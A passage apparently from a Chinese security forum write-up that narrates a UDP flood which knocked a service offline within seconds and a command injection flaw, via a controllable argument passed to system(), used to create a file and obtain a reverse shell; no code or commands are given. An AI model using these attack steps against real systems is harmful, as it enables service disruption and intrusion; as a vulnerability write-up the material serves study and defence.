自己模拟了一个客户端然后再data包中参杂各种垃圾数据之后疯狂发包,3s之内服务就死了,让其他同事去链接已经处于拒绝服务的状态了,这里没什么好说的了只需要不停的对目标发送udp包就行了。
3.命令注入
系统调用system中传入的参数直接接收之后使用且a1可控。
那么只需要让shell把我们输入的字符串当成系统命令去执行就可以执行任意命令
找到漏洞模块
Touch 一个文件,好的已经完成。
反弹一个shell获得控制权
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2022-5-30 12:28
被badboyl编辑
,原因: